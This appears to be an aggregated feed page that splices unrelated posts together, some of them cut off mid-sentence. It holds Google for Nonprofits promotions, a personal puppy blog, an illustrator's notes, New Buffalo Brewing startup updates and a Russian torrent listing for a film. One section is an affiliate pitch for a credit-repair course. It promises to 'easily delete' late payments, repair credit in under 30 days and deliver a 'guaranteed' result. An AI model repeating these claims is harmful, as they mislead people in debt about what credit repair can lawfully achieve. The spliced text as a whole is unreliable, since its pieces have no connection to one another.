“How do we keep our nonprofit (and the community we serve) safe and secure online?” In 2016, we partnered with Google’s User Advocacy Group to share four smart tips to keep your nonprofit, your users, and you safe online.


What do you and your nonprofit want to learn in the new year? Leave a comment below, and we’ll work on learning together in 2017.

Lastly, we so appreciate all nonprofits’ unwavering dedication to changing the world. We wish all nonprofits and their communities a peaceful holiday season and a joyful new year.

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

          3 Reasons why Chromebooks might be a good fit for your nonprofit        
Nonprofits - 08_11 - Chromebooks.JPG

When we speak with nonprofit organizations, we often hear about the challenges related to technological resources. So when it comes to investing in new technology, it’s important to consider three primary factors:

  • Security: Does it keep my information private and secure?
  • Compatibility: Does it work with the programs I use?
  • Price: Is it within budget?
To address these questions, Google created the Chromebook, a series of laptops built with ChromeOS. The vision behind Chromebooks is simple — to create a safe, accessible, and affordable laptop. To improve user privacy and security, Chromebooks  automatically update to provide virus protection, encryption and safe browsing. For easy access and collaboration, they’re outfitted with Gmail, Google Docs, Hangouts (and nonprofits receive the full Google Apps bundle with 30GB of space per user at no charge). What’s more, they start at $169 USD & that’s for a laptop that has up to 10+ hours of battery life!
ASUS Chromebook C201 ($169)

Case Study

Charity:water, a non-profit organization that provides clean and safe drinking water to people in developing countries, has a “100 percent model,” where every dollar donated goes directly to fund clean water projects. As a result, resources are limited. In order to cover operational costs like salaries and supplies, the organization relies on a few passionate and dedicated supporters. With this in mind, Charity:water transitioned to Chromebooks to improve the efficiency of its staff’s workflow. Now, employees can spend more time focusing on their goals and working towards their mission to nourish the world.

Want to learn more?

Chromebooks gives nonprofits unified access to the Google Apps suite, including:

  • Google Docs, Sheets, Slides: Allows you to create documents, spreadsheets, and presentations in real time. They’re automatically backed up online, and you can also open and edit Microsoft Word, Powerpoint or Excel files.
  • Google Hangouts: Google Hangouts can be used to make phone calls, screenshare, and video chat.
  • Google Drive: Store, sync, and share documents in the cloud for secure and easy access.

As a nonprofit, you also receive discounted access to Chrome licenses, which give you management controls via the Chrome Device Management. Chrome Device Management is a unified way to manage all of your nonprofits’ users, devices, and data. For nonprofits, the Chrome management license is discounted to only $30 dollars — in comparison to $150!

Chromebooks are our vision for providing cheaper, easier to use, and more secure laptops. Installed with Google Apps out of the box, nonprofits can maximize impact, while saving both time and resources.

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

To learn more about Chromebooks for nonprofits, take a look at Google for Work’s Chromebook’s website. To take advantage of the Google Nonprofit license discount, a Google partner will reach out to you once you fill out the Contact Us form.

          From LA to Tokyo: YouTube Spaces opens production studios to nonprofits free of charge        
We know that having a physical space to do your work matters, but it’s not just about where you work — it’s about what you create there. So today, we’re announcing special access to YouTube Spaces, YouTube’s global network of production studios, for eligible nonprofits to learn, connect, and create great content for YouTube.

Given that Google was started in a garage, we’re more than familiar with the limits of physical space. As a nonprofit, it can be difficult to find access to great spaces for video production, especially when time, location, and money are constraining factors. As a result, space often becomes limiting, rather than limitless, to producing great content on YouTube.

From LA to London, Tokyo to Mumbai, Berlin to São Paulo, YouTube Spaces empower nonprofits by providing them exclusive access to the best production resources around — all at no cost. All enrolled nonprofits with 1,000 or more subscribers are now eligible to apply for production access at YouTube Spaces.

But we’re also offering more than just physical space. In addition to our state-of-the-art production facilities, YouTube Spaces brings together creatives of all stripes. YouTube Spaces offers nonprofits opportunities to learn new skills through live workshops, as well as collaborate with the YouTube community through events, panels, screenings, and more! 

YouTube Spaces
Don’t know where to begin? Once enrolled in and approved by YouTube for Nonprofits, start with theYouTube Creator Academy. From there, nonprofits can take advantage of the workshops offered by YouTube Spaces to establish a successful foundation on the platform. From lessons on building your channel to learning physical production, these workshops will help your nonprofit define its strategy and engage subscribers. Then, it’s time to get the cameras rolling! 

Get out of your garage, and get ready to create something amazing. After all, spaces are not just about where we we work -- it’s about what we create there.

Find out more about the YouTube Spaces here. 

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

Nonprofit must have signed up for the Google for Nonprofits program and be enrolled specifically in the YouTube for Nonprofits product with a YouTube channel that has at least 1,000 subscribers. Qualifying YouTube channels must be free of copyright and terms of use strikes.

          Broadway Unlocked shares five lessons learned from hosting a livestream benefit        
Each year, one in six people in the U.S. will be victims of violent crimes. Two years ago, we became part of the effort to change that, when we began work with Broadway Unlocked. 

Two years ago, we met Jessica Ryan — a woman whose mission is rooted in two seemingly unique spheres: celebrating live theatre and helping survivors of interpersonal violence. Jessica founded the  Broadway Unlocked #giveback concert, a livestream, interactive benefit concert aimed at connecting the two communities and helping raise awareness and donations for the Crime Victims Treatment Center (CVTC). The CVTC, New York State’s largest and most comprehensive hospital-based victim assistance program, provides therapy and services to survivors of assault, abuse and violence. All treatments at CVTC are free.

In an effort to reach a larger audience and expand the nonprofit’s donor base, Broadway Unlocked collaborated with Google for Nonprofits to broadcast the show and spread the message globally in 2016. On February 22, Google for Nonprofits helped bring Broadway to YouTube for the second year in a row with one night of song and social responsibility through the concert. To bring the show beyond NYC, Google Fiber hosted a watch party at the Fiber space with local Kansas City theatre groups and community members. 

This was a Broadway show unlike any other. This was Broadway with a variety of star performers, including Kyle Dean Massey, Carolee Carmello, Ali Stroker, Natalie Weiss, and Collabro. This was Broadway hosted by Google Fiber. Streamed via Google Hangouts on Air. And fueled in part by fundraising through donation cards on YouTube. This was Broadway on the internet -- crowdfunded and broadcast for one night only.

How did Broadway Unlocked make their globally livestreamed and crowdfunded event a success? We’re turning the mic towards Broadway Unlocked to hear what they learned.

5 Lessons Learned from Hosting a Livestream Benefit

  1. Engaging the community is key: Using Hangouts on Air, we were able to pull off a cross-city sing-a-long! Check it out. The video wasn’t flawless, but we successfully transported Broadway beyond the Big Apple.

  2. Global events can help grow engagement and donor base: Putting on an event in different cities is no easy feat. But it's amazingly rewarding to bring like-minded people and groups together to support similar causes. Hangouts and livestream technology made reaching new communities easier to do in one event. And by engaging these communities, we’ve been able to grow a stronger community and ultimately, donor base.

  3. Interactive video adds another dimension of creativity: Using Hangouts allowed us to engage the audience on the other side of the screen, adding a new dimension unique from watching on a passive screen. Our creative team came up with Musical MadLibs, (our new favorite game!), which really shows how we were able to interact with the crowd through video chat.

  4. Google is a gamechanger for nonprofits: YouTube and Google Fiber enabled us to livestream the concert to theatre lovers and supporters in Kansas City and hundreds of people at home that night. This allowed us to increase the viewership of our benefit by 10X more than if we had only shown the concert to the folks at the Greene Space in NYC.

  5. Crowdfunding and donation cards can help you reach your goals: Through crowdfunding using donation cards on YouTube, One Today donations, live fundraising at the concert, and private donations, we raised more than ever before -- an astounding $50,000. This additional funding will hugely impact our ability to provide treatments for victims of domestic violence in tandem with the CVTC.

To see if your nonprofit is eligible to participate in the nonprofit programs, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

If you are a U.S. nonprofit looking to add donation cards to your YouTube videos, learn more here.

Nonprofits aren't endorsed by YouTube or Google

          Director of Partner Management - BuzzBoard Inc.        
San Francisco, CA - Experience in the broadcast and digital marketing/sales space.Deep understanding of the local broadcast landscape and the success metrics for the business
          I know, I know, I'm a terrible blogger        
Silas has taken to pooping in the house in the same exact spot every time. Like it's his own personal carpeted potty. He'll do it right after he comes inside too. I'm really not sure what to do about it. I'm about to break down and pay for a flipping dog whisperer or something. I mean. Really.
Also he keeps nipping at us. And sometimes it hurts. And he still has puppy teeth. I can't even imagine what it will feel like once he has his big boy teeth.
On top of everything, work, my crazy dog, my messy house and did I mention work? On top of everything, people have been really difficult to deal with lately. I don't know if it's cause I'm tired or stressed or a combination of the above, but I take everything anyone says or does at a very personal level and I've been crying at the drop of a hat.
For instance. The boy's little sister wrote a blog post on her myspace about her faith and about religion in general and I commented in a way that I would to any of my friends. I talk to people as if they are intelligent human beings and I want to engage them in logical and thoughtful discussions. Is that such a crime? Well, in any case, one of her friends commented below mine saying, basically, not to pay attention to that "dumb girl your brother is datin" because she is all up on her high horse and who does she think she is? And I got upset. Like crying and almost hysterical upset. And I have no idea why. I cried because some 15 year old kid made fun of me on myspace??? Seriously? I don't know, I think it probably boils down to frustrations over my feelings that the boy's family thinks I'm just another "stupid girl" that he is "datin" even though we've been together for 2 and half years and are very committed. I don't think they'll ever take me seriously, or at least not anytime before our ten year wedding anniversary, which for all I know could be 40 years away.
And then someone else removed me from her facebook friends. And I shouldn't be upset about that. Because I really don't ever want to be friends with her again. We had a huge row about a month ago, and even before that she treated me (in my opinion) quite poorly and did not make me feel happy, which is what I think friends should do. But seriously? Removing me from your friends list? Are we 12????
The end.
PS: I promise to not be such a Debbie Downer with the next post.

The lovely and talented Ms. Mouly asked me last Wednesday if I might have any cover concepts about pirates and portuguese water dogs. I didn't really, and though I tried my best to combine the two in a singular idea, I found that pretty impossible to pull off, so I gave her 8 sketches -- and this is the one The New Yorker went with. Anyone who does covers for the magazine knows how blisteringly fast the process can be -- with this one, 16 hours from sketches to approval to final art. While I wanted the piece to work on a decidedly decorative level, I'm also pleased that people have picked up on the subtle allusion; the black and white mixed-breed pet juxtaposed against the vastness, scale and magnitude of the office itself. BTW,  my preferred title for the cover was 'Oboma', the NYer opting instead for simply 'Bo'.

Detail of the dog

          The End Of A Book        
The last five weeks have been just hellacious. I've been working 16 hour days on a big new picture book for Random House (I did not write this one), and the art was far more complex and time consuming than I had anticipated. The thing is, you'd never know it by looking at these endpapers I designed for the book, but the fact that they're so different from the art in the spreads, we all agreed this was the way to go. Lollipop trees -- I've always called them that, so it was nice to be able to give them 16" x 10" of real estate to dance on. I love doing books. I just wish I didn't have to wait a year before showing anybody the art. ps: I actually tried posting something to the new, improved and lemon-scneted Drawg a couple weeks ago. Tried 6 times and it never saved my post. I got frustrated and starting cutting up photos of Kroninger with my pinking shears. IF this post works, I'll be a happy Bob!

          A Letter, By George        
It's always nice to receive emails, letters and calls from people who like your work, but every now and then you receive a note that you would have never expected in a million years. Today I received a kind one from George Booth who, needless to say, remains a cartooning God to so many of us -- certainly me included. I grew up as a kid salivating over Booth's cartoons in The New Yorker, so to receive this letter, well, let's just say it's being framed even as you read this. So touched and honored.

          The Picture Book Dummy: Made Easy        
It's time to admit something: No matter HOW many times I've done it, no matter how MANY of them I have published, no matter HOW I repeatedly try to convince my brain that page 1 really starts on page 6, I often begin a picture book all wrong. Picture books, those lavishly colored, wildly intoxicating, altogether breathless mix of word and art, they follow a very specific format -- one necessitated by production techniques, cost considerations and, alas, literary tradition. Of course there are execptions to the rule, but when we talk about a "picture book" we're speaking of a "32-pager" (or depending on how liquored up your editor is) a "40-pager". Think of it this way: you as the artist only have to worry about 15 spreads, a title page image, a single page finale and, of course, the cover. When the book is finished you'll have to create some really snazzy endpapers (those sheets that hold the pages of the front and back cover to the book), but don't worry about that right now -- an idea from those will come later. So, now that you have written your picture book, your opus, your masterpiece that's gonna pull every kid in the country away from a 48" inch flat screen blasting 'Grand Theft Auto' into their eyeballs and deep into your story, you need to dummy the whole thing. Use this dummy. Print it, follow it, don't deviate from it -- just make your books follow the "15 spreads and a finale page" rule. It's as easy as that -- and you have NO idea how many times I've been off by a page or two. Oh, wait -- one more thing: Just because you adhere to the traditional dummy it doesn't mean that your book will actually get published. At the end of the day, that's kinda the toughest part. Start the easy way though -- with this.

          Poster Overload!        
They're bright. They're colorful. They're gorgeous. They're just beyond fabulous and that's not a word that should be thrown around too lightly. Now they can fill your screen. Enjoy.   Totally Awesome Posters

          Vanity GREAT (As Opposed To 'Fair')        
I almost hesitate to post these because our buddy Kroninger holds the official Drawger position as 'Vice President in Charge of Posting Images at Least 50 Years Old While Simultaneously Running Down a Hallway Dangerously Holding a Pair of Extra-Sharp Scissors'. I was checking out the Vanity Fair site over the weekend and was paying special attention to the Jazz Age and Depression-Era covers. Now THESE are covers! Covarrubias, Carlu, Aladjalov, Bolin and my personal fave, Paolo Garretto. So graphic, so elegant, so able to communicate an idea visual with an economy of line, shape and effects. So pull up a mouse and check out some absolutely amazing covers by illustrators who continue to inspire, influence and still ASTOUND us well over 50 years later. Oh, and don't mind Kroninger writhing over there in the corner -- it's only a flesh wound. Vintage Vanity Fair Covers

          Who Else Wants To Know How To Raise Their Credit Score?        

Click Here To Get Access To Your FREE REPORT

Or Read On And Collect Your Free Report At The End Of This Article

Have you ever asked yourself, "How Do I Raise My Credit Score?" Over the years you may have racked up numerous debts. These may include, loans, credit cards and mortgages. As your debts increase through constant interest charges, things seem to get a little harder month after month. Perhaps, you have been unfortunate enough to miss some payments. This, regrettably, has the knock-on effect of additional late-payment charges and will eventually ruin your credit score.

The problem is, once you hit the rocky road of having a bad or low credit score, creditors or lenders will look at you with disdain. Gone are the days of being instantly approved for any form of credit. You are now looked upon as a high risk and no-one seems willing to help you.

This is pretty much what happened to me. I had a fairly decent job and that had helped me to secure various forms of credit. It was never a worry to me then, as i always had enough money coming in to cover at least the minimum payments, if not more. However, eventually mounting interest charges or the end of a 0% credit card deal, started to have an adverse effect on me being able to continue making full and regular payments. I had even got to the stage of using one credit card to make a payment on another credit card. So even though i was making some form of monthly payment, i was increasing my debt at the same time. Not Good! This, ultimately ruined my credit score and brought it to an all time low.

I then started searching for professional credit repair agencies. I soon discovered that many of these agencies make substantial claims to improve and raise your credit score. However, the majority charge a King's ransom for the privilege and they don't seem to deliver on their promises.

This is when i came across Chris Brisson's "37 days to clean credit" course. Chris had been in the same boat as many of us before him. As a college student he had built up a total of $14,000 in student loans and credit card debt. He had a small amount of income coming in and started to miss payments. Chris had managed to get his credit score down to a horrid 520! Once again, like so many of his predecessors, Chris scoured every possible resource to improve his credit score. He eventually admitted he got scammed by these so called "professional" credit reference agencies. This is when Chris decided to do something himself about it.

Chris had made a few discoveries along the way. He then went about legally "stealing" some of top secret methods that credit reference agencies use to remove negative items, inquiries, judgements and bankruptcies. After 37 days, Chris had managed to delete 9 inquiries, 5 late-pays, 4 default accounts and 1 judgement. In the process, Chris boosted his score by 135 points to a respectable 655.

So what exactly does Chris reveal in his Course:-

- How to easily delete 30, 60, 90, 120 or 150 day late-pays from your file

- How to easily set up a budgeting system to track income, expenses and all your payments

- A little known secret technique to getting your credit card APR interest dropped to 0%

- How to stop the harassing collections telephone calls

- How to repair bad credit in less than 30 days

- How to boost your credit score by 50 points even if you have the worst credit in the world.

- How to stop foreclosure and then negotiate with your bank to lower your monthly payment by 10% - 20%

These are just a few of the methods that Chris will go through. There are just far too many helpful little techniques to mention here.

One of my favourite systems i learned from Chris, was how to reduce the interest rate of my current credit card. It was as simple as making a phone call. Mention that you have in front of you a competitors details and that they are offering a 0% deal for six months, which will then turn into a 8% rate. Chris advises to always be polite and state that you will be looking to balance transfer unless they can lower your interest rate. In most cases, the operator will speak to a supervisor, who has the ability to drop your interest rate. To threaten to leave (in a nice way) is the key! So simple, but effective.

Another invaluable source contained within this course, is the copy and paste letters. Chris has structured a number of letters to be sent to creditors depending on what form of credit repair you are looking to achieve. The letters are organized in such a way, that you simply need to insert your own personal details in the blank spaces.

In addition to the course, Chris offers an unbelievable 5 free bonuses. They would usually retail at a value of $757, but are yours for free, once you sign up to Chris's course. I absolutely loved world renowned credit card expert, Scott Bilker's Interest Annihilation Method. This is one of your free bonuses. Scott unveils how to get approved for 0% APR credit cards. Scott also discusses the secret language indicators to use when you speak to your creditors. (yes, it's all down to the actual words you use!) and his 3 step debt elimination strategy system.

So if you have finally had enough of the way that lenders treat you, it's time to do something about it! Chris Brisson has come up with a guaranteed program to help you get the credit rating you have always wanted. So let me just quickly run through what you will get, once you have signed up to Chris Course:-

- The complete "37 days To clean Credit Course"

- The Interest Annihilation Method Audio with Scott Bilker

- The Credit Millionaire System with Donna Fox

- Credit Repair Mystery with Brett Bruce

- 45 "Copy & Paste" proven Credit Repair letters

- Super Budgeting Video Walk through

Don't forget to grab your Free Report on the 6 Deadly Credit Repair Myths as well.

Click Here to get started on raising your Credit Score today.

          Merry Christmas        

Merry Christmas

Christmas is a wonderful time of year. It really brings out the best in people. Spending time with family and friends, great food and, of course, great drinks! I hope everyone enjoyed it and is looking forward to New Year’s celebrations!

Once again, I haven’t posted in several weeks. Things have been extremely busy since getting back from Afghanistan. As of yesterday, I am no longer on active duty with the Air Force. I am now a reservist with the 914th at Niagara Falls! That also means that today is my first day working ‘full time’ with New Buffalo Brewing.

We have done a lot in the last month, but we haven’t talked about it much. We set up a small lab in Clarence, and are currently dialing in on what we think will be our first four beers.  We are also working on a Kickstarter Campaign, which is a huge project. The support we receive from donors will make the difference between opening this spring and pushing off for several more months.

I want to talk about the lab in today’s post. It’s small, with a Brew Magic as our system, six half-barrel fermenters, and room for only one and a half barrels of finished beer. We are producing all the beer we need to have ready between now and April on this nano- of nano systems! You can imagine space will become an issue.

The plan is as follows: We are going to brew six beers between January 25th and March 10th. We aren’t publicizing the names yet, but we will have a brown ale, bitters, APA, and IPA. Our last two are still wild cards. We have two dry stout variants, a sweet stout and a porter. As much as I like the sweet stout, I think it’s on the chopping block. Many people we have talked to have varying degrees of lactose intolerance, and we want to make sure we are making something everyone can enjoy.

So where is this beer going? We have a couple of big things in the pipe. First, we want to be able to enter all our beers into the Amber Waves of Grain on March 10th.  Second, we need to have samples for the distributors and the bank to try. But I’m sure most people are interested in our the tastings…

We are planning four events to go with our Kickstarter campaign, three in Buffalo and one in Rochester. We’ll be sure to give everyone a big heads up once we have the locations nailed down. So far we have one place approved and three in the works.

So watch for an active blog again, and I will be updating the main site often over the next month or so as we get ready to announce our ‘official’ beers. Thanks for reading!


          Greetings from Afghanistan        
I haven’t posted in a long time on this. It was my original intention to try and get a weekly post up. Clearly that did work out. Since the last post I was deployed to Afghanistan and have been here nearly two months already with another six to go. My job over her is a strange one; I work alone traveling around the country. It must be similar to being traveling salesmen from the 50s. Save the cool car and sweet suits. In any case things have been very busy.
A quick rundown is as follows; Hired Brewer Jimmy Base. Jimmy has since produced an English Mild with chocolate malt and an English Bitters. These have been dropped off to Mrs. Louise Galuski for distro to a bunch of people who have helped New Buffalo from the start. We have a survey attached with it so we can get an idea of what people think.  After I post this I need to write some sort of intro letter for that. Sadly I’m unable to sample any of the beer since I’m over here.
We’re still looking at buildings. The old brewery packaging building on Fillmore has peaked my interest and I hope to take a look at it. It’s not in the area I would have liked to set up at all, but its tasting room could be cleaned up and a fairly interesting day trip for people.
Our other project is we need to start looking at Kickstarter allot closer. I don’t personally know anyone who works in internet video’s so I’ve sort of hit a stopping point on that.  We’re looking to do some work with Custom Brewcrafters and I’d like to bank roll it via kickstarter and have a series of ‘release’ parties leading up to our equipment being put in.
I doubt I’m ever going to have much time over here for the extra stuff which is too bad but it is what it is. Thank you all for following our build up.

          We have A Brewer        

This week we have brought on two more contracted people onto the New Buffalo Team. Jimmy Bass and Jon Downing, of Buffalo News Fame. Jimmy is a prior Marine and I think he will fit in with the rest of the group. (3 out of 8 players are vets).

Jimmy is developing some beers for use while I’ll be in Afghanistan under the mentorship of Jon. This is a very big deal for New Buffalo since Jimmy is training to be a ‘real’ brewer. Not to knock my home brew creations or that of any other home brewer but there is a distinct difference between a home brewer and the formally trained. Jon Downing made introductions to New Buffalo Brewing and I think we’re well on our way. Bringing on Jon and already having Tim we now have a combined 60 years and 180 breweries worth of experience.

I was also contacted to use the New Buffalo Brewing logo in an art project. 26 painting about buffalo each with one letter. They are going to be shown Nov 2nd I think. Sadly I will be unable to be there for the display but we we’re invited to do a beer tasting. I really want to pursue that if possible. I wrote over to custom Beer Crafters to see what it would cost to do a 10bbl run.  While in Nov we’ll still be 6-7 months from producing ourselves I think it would be good to at least get some beer into the hands of the people. It would also let us spread those kegs out over 2 months or so and hit up a few tastings. 

With Jimmy and Jon on board we have the how part of New Buffalo locked in pretty well. The two remaining questions are what and where. As we said in the last post we effectively abandoned the building we had a couple months sunk into and are looking anew.  Putting that aside I’m focused on the what.

On the main page we posted most of my experimental brews for the year and a half. Jimmy is going to redo at least two of them into something that can be scaled up and start creating new brews. Statically I know what we should do, and IPA (20% market share) and a Pale Ale (18%) market share. With the assort packs, I’d safely toss in another 7% . (Assortments and Seasonals made up just over 20%). These are two styles I’m really not interested in doing. There are allot of each on the market, it’s a crowded space and there so overdone. The thing I found the most reveling in the top 15 styles, not a single black beer made it.  These happen to be some of my favorite beers. So it begs the question do we enter the fray with our own Pale and IPA or do we try to seize a niche market? 

I’m sure we can get allot of insight from Tim and Jon on the topic. Point being the other big ones with Amber larger, meaning most craft beer drinkers are still looking for a fairly pale, crystal clear beer. Bitter seems to be the name of the game for the last 10 years.

We have a little time yet, but I’d love to hear from beer drinkers what they want.  

          Business in Buffalo        

Allot was accomplished while back in Buffalo over break. Some of it was already mentioned on facebook but this is where I can do some less official ranting.

So what I want to talk about is doing business in Buffalo. I’m sure allot of people have heard horror stories about working with in the city limits. I know for years people don’t me, don’t even bother if you’re not in the old boys club you can’t get anywhere in the city.  My experience was completely the opposite.

We had narrowed our search into the Black Rock area. I think it’s really an area on the up and up. The people there are really passionate about the neighborhood and eager for business to come back. The success of the black rock bar and kitchen and delish are sort of the test beds. As Chippewa seems to be  kicking out the college crowd there is going to need to be somewhere for all those older college students to go. I’m not saying Black Rock should open clubs and go crazy, just that older crowd is going to be looking for somewhere new to go and that could be black rock without a problem. Elmwood can be a bit ‘high end’ and Buff State is right across the river. Honestly Amherst is going to be where it’s at.

I’ve had the pleasure to bounce around the country for the last couple of years. My position in the Air Force requires allot of traveling form base to base, and I’ve found the same formula in all the ‘up and coming’ urban places is the same.

Provide a service or good that’s 100% better at 50% more cost. It’s what Craft Beer is all about, but it’s also what the whole urban movement seems to be able.  When I visit other cities and find something I think  could be a knock-out in Buffalo I write it down or grab a menu. Sadly for all the great ideas there is only so much money, but the formal is the same.

Chef’s in Manhattan KS is one of the business restaurants I’ve ever been in. It costs about 50% more then Denny’s but when you get Salmon Eggs Benedict, the $5 extra over a grand slam seems like nothing. I’m not saying I’ve stumbled upon the Holy  Grail or anything. I’m just finding that it seems to be true across the whole of the United States. It might the ‘Europeanization’ of America.  That’s a different topic so I’ll get back to Buffalo.

Where I wanted to get was armed with this formal and some really impressive growth numbers from Craft Beer the Councilmen Joe Golombek was willing to sit down for almost 2 hours with us, from that we got an audience with the City Office of Strategic Planning, Department of Labor, Tonawanda BOA, NYSBDC, SBA, ECIDC, NYSIDC. I’m missing once person from that list so I apologize. Point being they we’re great to sit down with, tell them what we want to do, and offer some suggestions on how to go about it. I didn’t run into some brick wall or have to cow tow to anyone to get this. I grew up 25 miles outside of the city, I went to School in Rochester. While Buffalo is my city, its not like I have a network. No Doubt I’m developing one, and the other companies we work with have been paramount to that.

Allot of reasons and things like the $1,000,000,000 that state is talking about I honestly don’t think is going to have nearly the effect it could have if it was $1 thousand million dollar grants or 10,000 $100,000 grants. The things about doing business in NYS being hard then other states.  That’s absolutely true, the taxes are terrible, the bureaucracy is enormous, and the law suits plentiful. Despite all that Government workers are really trying to work around it and with it to get Buffalo back on top.

Point being is Buffalo wants to grow, and the real growth is going to be by small business making an investment in the city, living here working here making that lifelong commitment to the area. There isn’t going to be a hand out from the government to get you started. It’s going to be with the help of people in Buffalo and on your own labors. I encourage anyone who’s thinking about starting to do
          Merry Christmas!        
I’ve been busy on all fronts the last month and have no posted here as I would have liked to. I really need to take a page out of CBWs book and do a stern 1 week update. It’s never that there isn’t anything to talk about. More an issue of, should some of it be spoken about in a public form. 

We’re trying to get a deal together on a building in Black Rock and the support from the community has been tremendous. I really can’t say how great they have been to work with and we’re only pitching some ideas right now. The actually negotiations on the building have not been progressing as I’ve like. Hopefully I’ll have better news on that front by the 6th of Jan. If not I’ll like be forced to put everything on ice until I get back.

Speaking of getting back, I’m leaving for a bit. The USAF finally have dates ‘set in stone’ for deploying to Afghanistan. They’ve told me that these ones are for sure so I will be out of the country for 10 of 12 months in 2012. Longer then original expected but it will help buffer some of the startup costs, and I should get allot less smack talk from the Army. (a value in its self). This will delay the start up by 9 months, why so much more? Winter, its allot harder to move equipment in, doing concrete work in the middle of winter makes things harder than it should be; so we’ll wait for spring of 2013. Not what I want to do but what is necessary to do. 

This week I also brought Dana Saylor of to do some research. She has a pretty cool site and its interesting work. I haven’t seen the finished product so I can’t vouch for her as of yet, but I feel pretty good about it so far. 

Lastly I promised more book reviews. I read a handful on my last few trips across the country. Just for a quick notes on them I’ll say if I liked them or not.

Great American Ale Trail: Its just a list of bars and a couple of lines about them. It’s sort of a good reference and The Blue Monk in Buffalo was in the notable mentions section for NY. If you’re thinking about opening a beer bar up I would say it’s pretty good. Other than that I don’t know anyone with the time or money to visit 1000+ beer bars in the country. Once we get New Buffalo Brewing, I’ll have my beer books on site so if someone wanted to stop in and check for a place feel free.

The Story of the Irish Pub: The begging with a history of the licensed trade was good, so about 70 pages of the book are good, the remaining 150, not worth it. Just little notes of where a bar is and who owns it. Over all very disappointing. If your going to Ireland it might be fun to stop  into one, but that’s about it.

In the Classic Beer Style Series, I picked up and read, Porter, Brown Ale and Stout. This series has been pretty fun to read, and for a serious home brewer I’d recommend them They all are set up with a little history, some water information, a few home brew recipes and a list of examples that are current for the time it was published (the early ones are over 12 years old). This book are really great for someone looking to starting a microbrewer, to see how far the brewing world has come in a decade. Also as an American, to see how we have consistently tossed out style guild lines and made so many great new beers. 

Porter was a really weak read, maybe if I hadn’t already read the mild book it wouldn’t have seemed poor.

Brown Ale was very good, tons of information on the different sub sets of Brown Ale and good information all around. So many beers in this style and information about most of them.

Stout has been the best read so far, The writer has a clear passion for stouts and has offered an immense amount of information on it, the different sub-styles and many references to Guinness. I’d recommend this the most of any of them so far. I will put out the disclaimer that I too love stouts. If there is just one style of beer I could have it’s a thick cream stout.

This should have been spread out to a couple of updates, but with the holidays I don’t know if I will get around to many in the next two weeks. Also one last pitch for buying our sweet gear for someone over Christmas!

          A Buffalo Church as a New Buffalo Brewery        

In Buffalo NY it’s hard to not be drawn to a church for a brewery right away. It’s like a brewing palace. Beautiful surroundings, ceiling heights that are unmatched, since it was for people to gather the utilities are surprisingly low (several feet of brick and mortar are even better than 6 inch of fiberglass, the temp stability is amazing) and Buffalo has a bunch of extra churches right now that could use a, well use. 

So what’s the problem? They came in a couple of flavors (Sadly the flavors are like skunked Bud Light, and not a Buffalo micro-brew). 

1) If the church is owned by the Papacy it cannot be used for a brewery, period dot. That takes out many of the primary candidates 

2) Most of the churches need some repairs, the first church we looked at required over 500k in stabilization and another 400-500k in conversation costs. The second needs 300k, but the conversion costs were down to about 100k. That is almost the entire budget for New Buffalo. In this same category, if there’s not a door I can get the tank thought I don’t want to bust down walls to get them installed, that’s not hard and fast just a bit of the preservationist that lingers. 

3) A brewery falls under a M1 Zoning, churches are a C1, the first city councilmen I tried to work with refused to talk to me about it for several  weeks before giving me a “I won’t actively try to stop you, but I’m not going to help you in anyway” kind of answer.  The Councilmen Franczyk, who’s district I wasn’t working in was excited about the idea. In any case not being zoned correctly is another huge risk for use to undertake, a 6 month wait would bankrupt us in our first year   

 4) There is no equity in churches so the bank will not lend us money to fix a church for the most part.  On top off that even as we pay down the merger costs of the church we can’t barrow against it later own to expand like a normal building. 

5) Preservation, on one hand it has some money we can tap into in, almost 50% of the stabilization or big repair costs could be deferred by public funds,  however you have to keep the building the way the rules call for which in the case of the first building, we would have had the largest tasting room in the world (not proven but I don’t know of any breweries with 12,000sqft of tasting space, and two levels with a stage in the middle) 

6) Transportation, I need to be able to bring in semi’s, right now were planning on a grain bin for the pale malt, and I have to be able to get that into the building, also just in the first year we’ll be moving a couple truckloads of beer a week. I have to be in a place they can get too. 

To sum it up, were still looking for a church that could hold us but it’s not our focus anymore. Unless we received a grant for $1million it looks like it’s going to be a goal to expand too.  I know the city has money like that, and that $5million went to the Staler. The city isn’t going to trust a young guy like me, my background is Intelligence and factory work, not history building refurbishing. 

This was a very long post, but I wanted to hit on it since several people have asked me about it. Chris Fetter has been a tremendous help, sending us updates when a non-Catholic church comes on the market.  We hope this will work out, but we can’t wait forever. 

This post is in response an exchange with, on our facebook page

          First Formal Offer        
Our first formal lease offer on a building as come and gone without success. The problem we seem to be facing is that a brewery needs a rather strange space to fill. 18' clear ceilings, but only 10,000sqft of space. It’s almost a giant cube. Of all the issues I expected in setting up a brewery, finding space in Buffalo wasn't one of them.

The owners we have talked to have all been great guys, but the economics of everything makes it extremely hard to make a deal. No owner wants to take on the risk, or cost of divided up there building, and definitely not at the lease rate we can afford to offer. Seeing as it will be about 6-9 months after signing a lease we can start sell beer we just can't pay the big bucks people are looking for.

So at this point were back to looking at building something new. I really don't want to do that at all. It feels unreasonable to build a new building in a city full of old ones.  Next we’ll look into finding one the city has foreclosed on that isn't so broken I can't fix it for less.
          Ð§ÐµÑ€Ñ€Ð¸ / About Cherry (2012) BDRemux 1080p | L1        

Категория: Фильмы/HDTV/HD/Blu-Ray/MKV
Размер: 17.56 GB
Траффик: Раздают (отдают): 9,886, Скачивают (качают): 3,172
Добавлен: 2017-08-10 13:45:08
Описание: Информация о фильме
Название: Черри
Оригинальное название: About Cherry
